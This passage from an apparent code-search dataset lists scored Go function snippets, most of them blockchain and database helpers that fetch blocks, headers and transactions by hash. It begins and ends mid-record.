"score": "0.58375317", "text": "func GetTxByTxHash(c *gin.Context) {\n\thash := c.Params.ByName(\"hash\")\n\n\ttx, err := s.db.QueryTxByHash(hash)\n\tif err != nil {\n\t\ts.l.Printf(\"failed to query tx: %s\\n\", err)\n\t\tmodels.Respond(c.Writer, models.TxData{})\n\t\treturn\n\t}\n\n\tresult, err := setTx(tx)\n\tif err != nil {\n\t\ts.l.Printf(\"failed to set tx: %s\\n\", err)\n\t}\n\n\tmodels.Respond(c.Writer, result)\n\treturn\n}", "title": "" }, { "docid": "5d93b41fe8c6044bfb2ccfff92a92756", "score": "0.583404", "text": "func (csp *impl) GetHash(opts bccsp.HashOpts) (hash.Hash, error) {\n\t//返回sm3的hash函数\n\thash := sm3.New()\n\treturn hash, nil\n}", "title": "" }, { "docid": "ef9a3dc50de27244030d912b3af0a1bc", "score": "0.5825986", "text": "func (s *ChainService) GetBasicHeader(blockHash chainhash.Hash) (\n\t*chainhash.Hash, error) {\n\tvar filterTip chainhash.Hash\n\terr := s.dbView(getBasicHeader(blockHash, &filterTip))\n\treturn &filterTip, err\n}", "title": "" }, { "docid": "7cd29adb87105dab5e13b4d96c6b76f0", "score": "0.5819038", "text": "func (s *Storage) BlockByHash(h types.Hash32) (*types.StoredBlock, error) {\n\treturn s.queryBlock(StaticQuery{\n\t\twhere: fmt.Sprintf(`hash = x'%s'`, h),\n\t\torder: \"\",\n\t\tlimit: 1,\n\t})\n}", "title": "" }, { "docid": "c922f2a6a046f87f410e415b2a3cc1a5", "score": "0.58065814", "text": "func (_Election *ElectionSession) HashHeader(header []byte) ([32]byte, error) {\n\treturn _Election.Contract.HashHeader(&_Election.CallOpts, header)\n}", "title": "" }, { "docid": "1550ca7f08a9e07f2e5b2d92af3fd959", "score": "0.5797908", "text": "func (_Random *RandomSession) HashHeader(header []byte) ([32]byte, error) {\n\treturn _Random.Contract.HashHeader(&_Random.CallOpts, header)\n}", "title": "" }, { "docid": "63f981a09207019fc9ba8b2452170d3f", "score": "0.5792955", "text": "func (ecPtr *Client) BlockByHash(CTX context.Context, hash bgmcommon.Hash) (*types.Block, error) {\n\treturn ecPtr.getBlock(CTX, \"bgm_getBlockByHash\", hash, true)\n}", "title": "" }, { "docid": "85f234c54bb0ed078d3435b18092b1a2", "score": "0.57925314", "text": "func GetHash(hash crypto.Hash, data []byte) ([]byte, error) {\n\tif !hash.Available() {\n\t\treturn nil, fmt.Errorf(\"hash function not available for: %d\", hash)\n\t}\n\n\th := hash.New()\n\n\tif _, hashErr := h.Write(data); hashErr != nil {\n\t\treturn nil, hashErr\n\t}\n\n\tresult := h.Sum(nil)\n\n\treturn result, nil\n}", "title": "" }, { "docid": "563b48343ffca2b192e4d68d25e7c1f5", "score": "0.5784261", "text": "func (c *Client) GetTransactionByHash(ctx context.Context, txhash string) ([]byte, error) {\n\treturn c.apiHandler.GetTransactionByHash(ctx, c.groupID, txhash)\n}", "title": "" }, { "docid": "e18ecfda8c4c7ea2b7e9c44e9c3cb1b2", "score": "0.57699823", "text": "func (e *PublicEthAPI) GetBlockByHash(hash common.Hash, fullTx bool) (map[string]interface{}, error) {\n\te.logger.Debug(\"eth_getBlockByHash\", \"hash\", hash, \"full\", fullTx)\n\treturn e.backend.GetBlockByHash(hash, fullTx)\n}", "title": "" }, { "docid": "ce18928106aaf07df4522f77c03a9b64", "score": "0.5766242", "text": "func (ftm *FtmBridge) BlockByHash(hash *string) (*types.Block, error) {\n\t// keep track of the operation\n\tftm.log.Debugf(\"loading details of block %s\", *hash)\n\n\t// call for data\n\tvar block types.Block\n\terr := ftm.rpc.Call(&block, \"ftm_getBlockByHash\", hash, false)\n\tif err != nil {\n\t\tftm.log.Error(\"block could not be extracted\")\n\t\treturn nil, err\n\t}\n\n\t// detect block not found situation\n\tif uint64(block.Number) == 0 {\n\t\tftm.log.Debugf(\"block [%s] not found\", *hash)\n\t\treturn nil, fmt.Errorf(\"block not found\")\n\t}\n\n\t// inform and return\n\tftm.log.Debugf(\"block #%d found at mark %s by hash %s\",\n\t\tuint64(block.Number), time.Unix(int64(block.TimeStamp), 0).String(), *hash)\n\treturn &block, nil\n}", "title": "" }, { "docid": "26daf256fc01d7b4ce581b282a219124", "score": "0.57643604", "text": "func (c *GetConfigByHashCall) Header() http.Header {\n\tif c.header_ == nil {\n\t\tc.header_ = make(http.Header)\n\t}\n\treturn c.header_\n}", "title": "" }, { "docid": "54a44c077b0e0fab857ad357c7d5b068", "score": "0.5747779", "text": "func (cli *redisPool) GetHash(key, field string) ([]byte, error) {\n\tconn := cli.pool.Get()\n\tdefer conn.Close()\n\n\tresult, err := redis.Bytes(conn.Do(\"HGET\", key, field))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "ee664cbc75c348c78d04b93809027f66", "score": "0.57392406", "text": "func (c *Consensus) Header(height uint64) (*flow.Header, error) {\n\n\tif height > c.last {\n\t\treturn nil, dps.ErrUnavailable\n\t}\n\n\tvar blockID flow.Identifier\n\terr := c.db.View(operation.LookupBlockHeight(height, &blockID))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not look up block: %w\", err)\n\t}\n\n\tvar header flow.Header\n\terr = c.db.View(operation.RetrieveHeader(blockID, &header))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not retrieve header: %w\", err)\n\t}\n\n\treturn &header, nil\n}", "title": "" }, { "docid": "ed023d777d1432f2fcd13ca5602683de", "score": "0.57251567", "text": "func (bc *BlockChain) GetBlockByHash(hash common.Hash) *model.Block {\n\tnumber := bc.hc.GetBlockNumber(hash)\n\tif number == nil {\n\t\treturn nil\n\t}\n\treturn bc.GetBlock(hash, *number)\n}", "title": "" }, { "docid": "05ab6536cd5e946244017b22bc2a60f4", "score": "0.57212627", "text": "func (bh *BlockHeader) Hash() BlockHash {\n\tdata, err := proto.Marshal(bh)\n\tif err != nil {\n\t\tlog.Fatal(\"marshaling error:\", err)\n\t}\n\tvar res BlockHash\n\tcopy(res[:], Hash160(data))\n\treturn res\n}", "title": "" }, { "docid": "1fd63a71959447fec5bc6a4b6f196058", "score": "0.57154524", "text": "func getObjectByHash(conn redis.Conn, hash string, field string, out interface{}) errors.EdgeX {\n\tid, err := redis.String(conn.Do(HGET, hash, field))\n\tif err == redis.ErrNil {\n\t\treturn errors.NewCommonEdgeX(errors.KindEntityDoesNotExist, fmt.Sprintf(\"fail to query object %T, because %s: %s doesn't exist in the database\", out, field, hash), err)\n\t} else if err != nil {\n\t\treturn errors.NewCommonEdgeX(errors.KindDatabaseError, fmt.Sprintf(\"query %s from the database failed\", field), err)\n\t}\n\n\treturn getObjectById(conn, id, out)\n}", "title": "" }, { "docid": "7ecf284747e4df4caa24ab5088342915", "score": "0.5714893", "text": "func (b *Blocks) Header(ctx context.Context, height int) (*wire.BlockHeader, error) {\r\n\t// Read from storage\r\n\tpath := fmt.Sprintf(\"spynode/blocks/%08x\", height/blocksPerKey)\r\n\tdata, err := b.store.Read(ctx, path)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\toffset := height % blocksPerKey\r\n\tbyteOffset := offset * blockHeaderSize\r\n\r\n\tif byteOffset+blockHeaderSize > len(data) {\r\n\t\treturn nil, errors.New(\"Not available\")\r\n\t}\r\n\r\n\t// Parse header from data\r\n\tbuf := bytes.NewBuffer(data[byteOffset:])\r\n\tvar result wire.BlockHeader\r\n\tif err := result.Deserialize(buf); err != nil {\r\n\t\treturn nil, errors.Wrap(err, \"deserialize header\")\r\n\t}\r\n\r\n\treturn &result, nil\r\n}", "title": "" }, { "docid": "238b74cce98413c4ab994cf7daea42cb", "score": "0.5691017", "text": "func (bc *blockchain) GetBlockByHash(h hash.Hash32B) (*block.Block, error) {\n\treturn bc.dao.getBlock(h)\n}", "title": "" }, { "docid": "fd11acc378eafcab577b1dbadd96732f", "score": "0.5687684", "text": "func (bc *blockchain) GetBlockHashByActionHash(h hash.Hash32B) (hash.Hash32B, error) {\n\tif !bc.config.Explorer.Enabled {\n\t\treturn hash.ZeroHash32B, errors.New(\"explorer not enabled\")\n\t}\n\treturn bc.dao.getBlockHashByActionHash(h)\n}", "title": "" }, { "docid": "f44a0109b28e89c2ce753dee6c295e43", "score": "0.56794256", "text": "func (f *Fetch) GetHash(hash types.Hash32, h Hint, validateHash bool) chan HashDataPromiseResult {\n\tresChan := make(chan HashDataPromiseResult, 1)\n\n\tif f.stopped() {\n\t\tclose(resChan)\n\t\treturn resChan\n\t}\n\n\t// check if we already have this hash locally\n\tf.dbLock.RLock()\n\tdb, ok := f.dbs[h]\n\tf.dbLock.RUnlock()\n\tif !ok {\n\t\tf.log.With().Panic(\"tried to fetch Data from DB that doesn't exist locally\",\n\t\t\tlog.String(\"hint\", string(h)))\n\t}\n\n\tif b, err := db.Get(hash.Bytes()); err == nil {\n\t\tresChan <- HashDataPromiseResult{\n\t\t\tErr: nil,\n\t\t\tHash: hash,\n\t\t\tData: b,\n\t\t\tIsLocal: true,\n\t\t}\n\t\treturn resChan\n\t}\n\n\t// if not present in db, call fetching of the item\n\treq := request{\n\t\thash,\n\t\tLow,\n\t\tvalidateHash,\n\t\th,\n\t\tresChan,\n\t\t0,\n\t}\n\n\tf.requestReceiver <- req\n\n\treturn resChan\n}", "title": "" }, { "docid": "22dacb9d2619edb377d65306d15a9e94", "score": "0.56698203", "text": "func (s *Store) GetBlockByHash(id hash.Event) *inter.Block {\n\treturn s.GetBlock(*s.GetBlockIndex(id))\n}", "title": "" }, { "docid": "b3656683fbdef8eecf931d71494b67fa", "score": "0.5659299", "text": "func (b *Block) Hash() string {\n\tpureData := []byte(fmt.Sprintf(\"%v\", b.Hdr))\n\treturn utils.Hash(pureData)\n}", "title": "" }, { "docid": "23ddf3d7373c5cd366807d2ac2d08aed", "score": "0.5650553", "text": "func (dlp *downloadTesterPeer) RequestHeadersByHash(origin common.Hash, amount int, skip int, reverse bool, sink chan *ent.Response) (*ent.Request, error) {\n\t// Service the header query via the live handler code\n\trlpHeaders := ent.ServiceGetBlockHeadersQuery(dlp.chain, &ent.GetBlockHeadersPacket{\n\t\tOrigin: ent.HashOrNumber{\n\t\t\tHash: origin,\n\t\t},\n\t\tAmount: uint64(amount),\n\t\tSkip: uint64(skip),\n\t\tReverse: reverse,\n\t}, nil)\n\theaders := unmarshalRlpHeaders(rlpHeaders)\n\t// If a malicious peer is simulated withholding headers, delete them\n\tfor hash := range dlp.withholdHeaders {\n\t\tfor i, header := range headers {\n\t\t\tif header.Hash() == hash {\n\t\t\t\theaders = append(headers[:i], headers[i+1:]...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\thashes := make([]common.Hash, len(headers))\n\tfor i, header := range headers {\n\t\thashes[i] = header.Hash()\n\t}\n\t// Deliver the headers to the downloader\n\treq := &ent.Request{\n\t\tPeer: dlp.id,\n\t}\n\tres := &ent.Response{\n\t\tReq: req,\n\t\tRes: (*ent.BlockHeadersPacket)(&headers),\n\t\tMeta: hashes,\n\t\tTime: 1,\n\t\tDone: make(chan error, 1), // Ignore the returned status\n\t}\n\tgo func() {\n\t\tsink <- res\n\t}()\n\treturn req, nil\n}", "title": "" }, { "docid": "973560bc00df9f0a433800653d77868d", "score": "0.56471145", "text": "func (chain *BlockChain) LoadTxByHash(hash crypto.HashType) (*types.Transaction, error) {\n\ttxIndex, err := chain.db.Get(TxIndexKey(&hash))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\theight, idx, err := UnmarshalTxIndex(txIndex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock, err := chain.LoadBlockByHeight(height)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx := block.Txs[idx]\n\ttarget, err := tx.TxHash()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif *target == hash {\n\t\treturn tx, nil\n\t}\n\tlogger.Errorf(\"Error reading tx hash, expect: %s got: %s\", hash.String(), target.String())\n\treturn nil, errors.New(\"Failed to load tx with hash\")\n}", "title": "" }, { "docid": "7cb895904c192366e9d470ebafa5427d", "score": "0.56379837", "text": "func (bc *blockchain) GetHashByHeight(height uint64) (common.Hash32B, error) {\n\treturn bc.dao.getBlockHash(height)\n}", "title": "" }, { "docid": "cf1b36cf081692334b3ef5ced1b22fee", "score": "0.5633758", "text": "func GetBlockByHash(data rqst.Payload) interface{} {\n\tvar err error\n\tvar message string\n\n\tvar blockHash string\n\tvar isNeedAllTx bool\n\n\tparams := data.Params\n\tif len(params) != 2 {\n\t\tmessage = fmt.Sprintf(\"Invalid params: invalid length 1, expected a tuple of size 2.\")\n\t\terr = errors.New(message)\n\t\terrors := common.Error{\n\t\t\tErrorType: 0,\n\t\t\tErrorDescription: err.Error(),\n\t\t}\n\t\tlogger.Console().Panic(errors)\n\t}\n\tparam1 := params[0]\n\tparam2 := params[1]\n\n\tswitch value := param2.(type) {\n\tcase bool:\n\t\tisNeedAllTx = value\n\tdefault:\n\t\tmessage = fmt.Sprintf(\"Invalid type in your params, expected a boolean.\")\n\t\terr = errors.New(message)\n\t\terrors := common.Error{\n\t\t\tErrorType: 0,\n\t\t\tErrorDescription: err.Error(),\n\t\t}\n\t\tlogger.Console().Panic(errors)\n\t}\n\n\tblockHash = param1.(string)\n\tblockHash, err = historyUtilsCommon.Check64HeximalFormat(blockHash)\n\tif err != nil {\n\t\terrors := common.Error{\n\t\t\tErrorType: 0,\n\t\t\tErrorDescription: err.Error(),\n\t\t}\n\t\tlogger.Console().Panic(errors)\n\t}\n\n\tfmt.Println(\"================getBlockByHash initial parameter================\")\n\tfmt.Printf(\"blockHash:%s, isNeedAllTx: %t\\n\", blockHash, isNeedAllTx)\n\n\tresponse := getBlockByHashIndexer(blockHash, isNeedAllTx)\n\tvar responseBlockType rsps.GetBlockResponse\n\tvar responseBlockTxHashOnlyType rsps.GetBlockWithOnlyTxHashesResponse\n\tvar responseEmpty rsps.EmptyResponse\n\n\tswitch target := response.(type) {\n\tcase rsps.GetBlockWithOnlyTxHashesResponse:\n\t\tresponseBlockTxHashOnlyType = response.(rsps.GetBlockWithOnlyTxHashesResponse)\n\t\treturn responseBlockTxHashOnlyType\n\tcase rsps.GetBlockResponse:\n\t\tresponseBlockType = response.(rsps.GetBlockResponse)\n\t\treturn responseBlockType\n\tcase rsps.EmptyResponse:\n\t\tresponseEmpty = response.(rsps.EmptyResponse)\n\t\treturn responseEmpty\n\tdefault:\n\t\tlogger.Console().Panic(fmt.Sprintf(\"The type of the parameter: %v \", target))\n\t}\n\n\treturn 0\n}", "title": "" }, { "docid": "80ff5c95db8f796e945555dbd9e11730", "score": "0.56242776", "text": "func (bc *blockchain) GetHashByHeight(height uint64) (hash.Hash32B, error) {\n\treturn bc.dao.getBlockHash(height)\n}", "title": "" }, { "docid": "3fa9c98d47a6b0a93be482bbd05c97ac", "score": "0.5616269", "text": "func (_Vrf *VrfCallerSession) GetBlockHash(height *big.Int) ([32]byte, error) {\n\treturn _Vrf.Contract.GetBlockHash(&_Vrf.CallOpts, height)\n}", "title": "" }, { "docid": "c06c0be703a95cb4a30f71933e9720f7", "score": "0.5608745", "text": "func GetBlockHeaderTest() {\n\thash, err := cli.GetBlockHash(1)\n\tif err != nil {\n\t\tlog.Fatal(\"\", \"error\", err)\n\t}\n\tlog.Info(\"GetBlockHash\", \"hash\", hash)\n\t//hash, _ := client.NewHashFromStr(\"353eb168c70770b281f634fd0d22fbaee94b3fed1d76276e91165444e876f658\")\n\theader, err := cli.GetBlockHeader(hash)\n\tif err != nil {\n\t\tlog.Error(\"\", \"error\", err)\n\t\tpanic(err)\n\t}\n\tlog.Info(\"GetBlockHeader\", \"header\", header)\n}", "title": "" }, { "docid": "b609ed6c3cdc47724725a6ee57ce2b42", "score": "0.55988026", "text": "func (bc *blockchain) GetBlockHashByTransferHash(h hash.Hash32B) (hash.Hash32B, error) {\n\tif !bc.config.Explorer.Enabled {\n\t\treturn hash.ZeroHash32B, errors.New(\"explorer not enabled\")\n\t}\n\treturn bc.dao.getBlockHashByTransferHash(h)\n}", "title": "" }, { "docid": "27ef41c44d3236396b0e4bb5111c10fe", "score": "0.55939907", "text": "func (_Vrf *VrfSession) GetBlockHash(height *big.Int) ([32]byte, error) {\n\treturn _Vrf.Contract.GetBlockHash(&_Vrf.CallOpts, height)\n}", "title": "" }, { "docid": "a7353fe389a13053f8e9e28cc2c5b534", "score": "0.5584808", "text": "func GetQuizByHash(hash string) quizzesModel.Quiz {\n\tvar quiz quizzesModel.Quiz\n\tdbInstance.GetDBConnection().Where(\"hash = ?\", hash).First(&quiz)\n\treturn quiz\n}", "title": "" }, { "docid": "6fbd7105ec610342783a3d8e778cd57a", "score": "0.5577471", "text": "func (bc *BlockChain) GetHeaderByNumber(number uint64) *model.Header {\n\treturn bc.hc.GetHeaderByNumber(number)\n}", "title": "" }, { "docid": "e932747928329ebd2d646406d66fe9ed", "score": "0.5576624", "text": "func (g *Grid) DownloadByHash(hash string) *os.File {\n\tmeta := g.dao.ReadByHash(hash)[0]\n\n\tfile, err := os.Open(meta.URL)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn file\n}", "title": "" }, { "docid": "f36d88189d9bd903e84aef2a83c6576b", "score": "0.5560322", "text": "func (w *spvWallet) GetBlockHeader(ctx context.Context, blockHash *chainhash.Hash) (*BlockHeader, error) {\n\thdr, err := w.dcrWallet.BlockHeader(ctx, blockHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmedianTime, err := w.medianTime(ctx, hdr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Get next block hash unless there are none.\n\tvar nextHash *chainhash.Hash\n\tconfirmations := int64(-1)\n\tmainChainHasBlock, _, err := w.BlockInMainChain(ctx, blockHash)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error checking if block is in mainchain: %w\", err)\n\t}\n\tif mainChainHasBlock {\n\t\t_, tipHeight := w.MainChainTip(ctx)\n\t\tif int32(hdr.Height) < tipHeight {\n\t\t\tnextHash, err = w.GetBlockHash(ctx, int64(hdr.Height)+1)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error getting next hash for block %q: %w\", blockHash, err)\n\t\t\t}\n\t\t}\n\t\tif int32(hdr.Height) <= tipHeight {\n\t\t\tconfirmations = int64(tipHeight) - int64(hdr.Height) + 1\n\t\t} else { // if tip is less, may be rolling back, so just mock dcrd/dcrwallet\n\t\t\tconfirmations = 0\n\t\t}\n\t}\n\n\treturn &BlockHeader{\n\t\tBlockHeader: hdr,\n\t\tMedianTime: medianTime,\n\t\tConfirmations: confirmations,\n\t\tNextHash: nextHash,\n\t}, nil\n}", "title": "" }, { "docid": "f36d88189d9bd903e84aef2a83c6576b", "score": "0.5560322", "text": "func (w *spvWallet) GetBlockHeader(ctx context.Context, blockHash *chainhash.Hash) (*BlockHeader, error) {\n\thdr, err := w.dcrWallet.BlockHeader(ctx, blockHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmedianTime, err := w.medianTime(ctx, hdr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Get next block hash unless there are none.\n\tvar nextHash *chainhash.Hash\n\tconfirmations := int64(-1)\n\tmainChainHasBlock, _, err := w.BlockInMainChain(ctx, blockHash)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error checking if block is in mainchain: %w\", err)\n\t}\n\tif mainChainHasBlock {\n\t\t_, tipHeight := w.MainChainTip(ctx)\n\t\tif int32(hdr.Height) < tipHeight {\n\t\t\tnextHash, err = w.GetBlockHash(ctx, int64(hdr.Height)+1)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error getting next hash for block %q: %w\", blockHash, err)\n\t\t\t}\n\t\t}\n\t\tif int32(hdr.Height) <= tipHeight {\n\t\t\tconfirmations = int64(tipHeight) - int64(hdr.Height) + 1\n\t\t} else { // if tip is less, may be rolling back, so just mock dcrd/dcrwallet\n\t\t\tconfirmations = 0\n\t\t}\n\t}\n\n\treturn &BlockHeader{\n\t\tBlockHeader: hdr,\n\t\tMedianTime: medianTime,\n\t\tConfirmations: confirmations,\n\t\tNextHash: nextHash,\n\t}, nil\n}", "title": "" }, { "docid": "283e55ac913566d22fe2f0de097bf33d", "score": "0.5557627", "text": "func (bc *blockchain) GetBlockHashByTransferHash(hash common.Hash32B) (common.Hash32B, error) {\n\treturn bc.dao.getBlockHashByTransferHash(hash)\n}", "title": "" }, { "docid": "c1648892a53d0bb30bcb61fc7675c2ae", "score": "0.5535515", "text": "func (c *Client) QueryBlockByHash(blockHash []byte, options ...RequestOption) (*common.Block, error) {\n\n\ttargets, opts, err := c.prepareRequestParams(options...)\n\tif err != nil {\n\t\treturn nil, errors.WithMessage(err, \"QueryBlockByHash failed to prepare request parameters\")\n\t}\n\treqCtx, cancel := c.createRequestContext(opts)\n\tdefer cancel()\n\n\tresponses, err := c.ledger.QueryBlockByHash(reqCtx, blockHash, peersToTxnProcessors(targets), c.verifier)\n\tif err != nil && len(responses) == 0 {\n\t\treturn nil, errors.WithMessage(err, \"QueryBlockByHash failed\")\n\t}\n\n\treturn matchBlockData(responses, opts.MinTargets)\n}", "title": "" }, { "docid": "eb0000f29f6f3e77e7c618f593561292", "score": "0.5520753", "text": "func (s *TradeService) GetByHash(h common.Hash) (*types.Trade, error) {\n\treturn s.tradeDao.GetByHash(h)\n}", "title": "" }, { "docid": "0c5733507e821bdf63d6af5f43f65be9", "score": "0.55062306", "text": "func LoadBlockByHash(hash crypto.HashType, reader storage.Reader) (*types.Block, error) {\n\n\tblockBin, err := reader.Get(BlockKey(&hash))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"db get with block hash %s error %s\", hash, err)\n\t}\n\tif blockBin == nil {\n\t\treturn nil, core.ErrBlockIsNil\n\t}\n\tblock := new(types.Block)\n\tif err := block.Unmarshal(blockBin); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "c11c83ec53024c4f43c5dd2689beac59", "score": "0.5485053", "text": "func (s *infoServer) BlockByHash(ctx context.Context, hash string) (*types.Block, error) {\n\tlgr := s.logger.With(zap.String(\"Hash\", hash))\n\tcacheBlock, err := s.cacheClient.BlockByHash(ctx, hash)\n\tif err == nil {\n\t\treturn cacheBlock, nil\n\t}\n\n\tdbBlock, err := s.dbClient.BlockByHash(ctx, hash)\n\tif err == nil {\n\t\treturn dbBlock, nil\n\t}\n\t// Something wrong or we stay behind the network\n\tlgr.Warn(\"cannot find block in db\", zap.Error(err))\n\treturn s.kaiClient.BlockByHash(ctx, hash)\n}", "title": "" }, { "docid": "28c3f5685a7b7d1d7e69127b8af91913", "score": "0.548504", "text": "func (hj *HeaderJar) GetHeader(host string) http.Header {\n\tvalue, found := hj.headers.Load(host)\n\tif !found {\n\t\treturn nil\n\t}\n\treturn value.(http.Header)\n}", "title": "" }, { "docid": "036778c6808ed6cb9c7982f15126c9cd", "score": "0.5467463", "text": "func (h *InMemoryHashStore) GetHash(id int64) GetResponse {\n\th.mapLock.Lock()\n\tdefer h.mapLock.Unlock()\n\treturn GetResponse{\n\t\tID: id,\n\t\tHash: h.availableHashes[id],\n\t}\n}", "title": "" }, { "docid": "ccc6ffac285b80136d84159b03e3bcec", "score": "0.5453594", "text": "func (client *jsonrpcProvider) GetTransactionByHash(ctx context.Context, tx string) (val *Transaction, err error) {\n\n\terr = client.rpcCall(ctx, \"eth_getTransactionByHash\", &val, tx)\n\n\treturn\n}", "title": "" }, { "docid": "af0daf20fae786d02ac46aa0b7d66c89", "score": "0.54394937", "text": "func (bc *blockchain) GetHeightByHash(h hash.Hash32B) (uint64, error) {\n\treturn bc.dao.getBlockHeight(h)\n}", "title": "" }, { "docid": "e285b203e517c45568e3f8458638b0b0", "score": "0.5435553", "text": "func (c *CloudFrontRWStore) Get(hash string) (stream.Blob, shared.BlobTrace, error) {\n\tstart := time.Now()\n\tblob, trace, err := c.cf.Get(hash)\n\treturn blob, trace.Stack(time.Since(start), c.Name()), err\n}", "title": "" }, { "docid": "a3616c2efcfa1a88f5da591116fa68e8", "score": "0.54286915", "text": "func (l *ChainLedger) GetBlockByHash(hash types.Hash) (*pb.Block, error) {\n\tdata := l.blockchainStore.Get(compositeKey(blockHashKey, hash.Hex()))\n\tif data == nil {\n\t\treturn nil, storage.ErrorNotFound\n\t}\n\n\theight, err := strconv.Atoi(string(data))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"wrong height, %w\", err)\n\t}\n\n\tv := l.blockchainStore.Get(compositeKey(blockKey, height))\n\tif v == nil {\n\t\treturn nil, fmt.Errorf(\"get block: %w\", storage.ErrorNotFound)\n\t}\n\n\tblock := &pb.Block{}\n\tif err := block.Unmarshal(v); err != nil {\n\t\treturn nil, fmt.Errorf(\"unmarshal block: %w\", err)\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "0052d939c8aa02e3392ba42dff1a4453", "score": "0.54208595", "text": "func (h *Header) Hash() ethcommon.Hash {\n\treturn hash.FromRLP(h)\n}", "title": "" }, { "docid": "07b2d8a967d6419541bbfdc8ff1e35d5", "score": "0.5414043", "text": "func FindObjectByHash(h string, db *gorm.DB) (*Object, error) {\n\tvar object Object\n\tvar err = db.Where(\"hash = ?\", h).First(&object).Error\n\treturn &object, err\n}", "title": "" }, { "docid": "c552d91a67bbf2653885cf67df60ccfa", "score": "0.5414021", "text": "func (p *ParsedTxs) GetTxByHash(hash common.Hash) *ParsedTx {\n\tif idx, ok := p.TxHashes[hash]; ok {\n\t\treturn &p.Txs[idx]\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "964b0107e37bddf4074187900ed2b900", "score": "0.5408502", "text": "func (_Vrf *VrfCaller) GetBlockHash(opts *bind.CallOpts, height *big.Int) ([32]byte, error) {\n\tvar out []interface{}\n\terr := _Vrf.contract.Call(opts, &out, \"getBlockHash\", height)\n\n\tif err != nil {\n\t\treturn *new([32]byte), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new([32]byte)).(*[32]byte)\n\n\treturn out0, err\n\n}", "title": "" }, { "docid": "b17bce5b86c37b1c7eb565e04957ed2c", "score": "0.53999865", "text": "func (e *PublicEthAPI) GetTransactionByHash(hash common.Hash) (*Transaction, error) {\n\te.logger.Debug(\"eth_getTransactionByHash\", \"hash\", hash)\n\ttx, err := e.cliCtx.Client.Tx(hash.Bytes(), false)\n\tif err != nil {\n\t\t// Return nil for transaction when not found\n\t\treturn nil, nil\n\t}\n\n\t// Can either cache or just leave this out if not necessary\n\tblock, err := e.cliCtx.Client.Block(&tx.Height)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tblockHash := common.BytesToHash(block.Block.Header.Hash())\n\n\tethTx, err := bytesToEthTx(e.cliCtx, tx.Tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\theight := uint64(tx.Height)\n\treturn newRPCTransaction(*ethTx, common.BytesToHash(tx.Tx.Hash()), blockHash, &height, uint64(tx.Index))\n}", "title": "" }, { "docid": "57d74c0c424b934b2ad76d4a18757799", "score": "0.53995854", "text": "func dbFetchHeightByHash(dbTx database.Tx, hash *common.Uint256) (uint32, error) {\n\tmeta := dbTx.Metadata()\n\thashIndex := meta.Bucket(hashIndexBucketName)\n\tserializedHeight := hashIndex.Get(hash[:])\n\tif serializedHeight == nil {\n\t\treturn 0, fmt.Errorf(\"block %s is not in the main chain\", hash)\n\t}\n\n\treturn byteOrder.Uint32(serializedHeight), nil\n}", "title": "" }, { "docid": "5901dd30fbe561d481daffabaf9912c0", "score": "0.53984624", "text": "func ComputeHeaderHash(block []byte) (blockdigest.Digest, error) {\n\tif len(block) < totalBlockSize {\n\t\treturn blockdigest.Digest{}, fault.ErrInvalidBlockHeaderSize\n\t}\n\tpackedHeader := PackedHeader{}\n\tcopy(packedHeader[:], block[:totalBlockSize])\n\n\treturn blockdigest.NewDigest(packedHeader[:]), nil\n}", "title": "" }, { "docid": "fe492c5519c139df0778dabfa4ddff33", "score": "0.5396282", "text": "func (b *Block) GetHash() Uint256 {\n\treturn b.hash\n}", "title": "" }, { "docid": "c0f7a8727f0d4f66a96fb712bce00499", "score": "0.5391471", "text": "func (s *Client) GetBlockHeader(ctx context.Context, height uint32, checkpointHeight ...uint32) (*GetBlockHeaderResult, error) {\n\tif checkpointHeight != nil && checkpointHeight[0] != 0 {\n\t\tif height > checkpointHeight[0] {\n\t\t\treturn nil, ErrCheckpointHeight\n\t\t}\n\n\t\tvar resp GetBlockHeaderResp\n\t\terr := s.request(ctx, \"blockchain.block.header\", []interface{}{height, checkpointHeight[0]}, &resp)\n\n\t\treturn resp.Result, err\n\t}\n\n\tvar resp basicResp\n\terr := s.request(ctx, \"blockchain.block.header\", []interface{}{height, 0}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresult := &GetBlockHeaderResult{\n\t\tBranch: nil,\n\t\tHeader: resp.Result,\n\t\tRoot: \"\",\n\t}\n\n\treturn result, err\n}", "title": "" }, { "docid": "bce8e5b979e52d982ad798322efcf711", "score": "0.5367057", "text": "func (bc *blockchain) GetBlockHashByExecutionHash(h hash.Hash32B) (hash.Hash32B, error) {\n\tif !bc.config.Explorer.Enabled {\n\t\treturn hash.ZeroHash32B, errors.New(\"explorer not enabled\")\n\t}\n\treturn bc.dao.getBlockHashByExecutionHash(h)\n}", "title": "" }, { "docid": "809dee052bd522524221a8c40098bc5b", "score": "0.5358411", "text": "func (bd *ChainStore) addHeader(header *Header) {\n\n\tlog.Debugf(\"addHeader(), Height=%d\\n\", header.Blockdata.Height)\n\n\thash := 